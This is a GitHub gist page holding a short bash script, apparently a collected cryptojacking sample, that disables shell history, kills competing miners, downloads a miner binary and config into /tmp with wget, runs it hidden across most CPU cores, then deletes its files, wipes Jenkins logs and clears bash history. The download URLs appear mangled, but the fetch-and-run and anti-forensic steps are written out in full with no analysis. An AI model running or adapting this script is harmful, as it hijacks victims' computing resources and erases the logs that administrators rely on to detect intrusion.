Created
December 1, 2017 06:41
-
-
Save mylamour/27379a44a0a14d67f455d4869f6271c1 to your computer and use it in GitHub Desktop.
Download And Miner, Collected from other place
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
unset HISTFILE | |
killall min | |
killall min2 | |
VER=`getconf LONG_BIT` | |
wget http://s/minerd$VER -O /tmp/min | |
wget http:/s/config.conf -O /tmp/config.conf | |
chmod 0777 /tmp/min | |
cpu_c=`grep processor /proc/cpuinfo | wc -l` | |
if [ $cpu_c -lt "3" ] ; then | |
threads=1 | |
else | |
threads=`expr $cpu_c - 2` | |
fi | |
cd /tmp | |
nohup ./min --threads $threads -c config.conf -B 0<&- &>/dev/null | |
rm -f /tmp/min /tmp/config.conf /tmp/launch.sh /var/log/jenkins/* /tmp/info.sh | |
echo "" > ~/.bash_history | |
exit |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment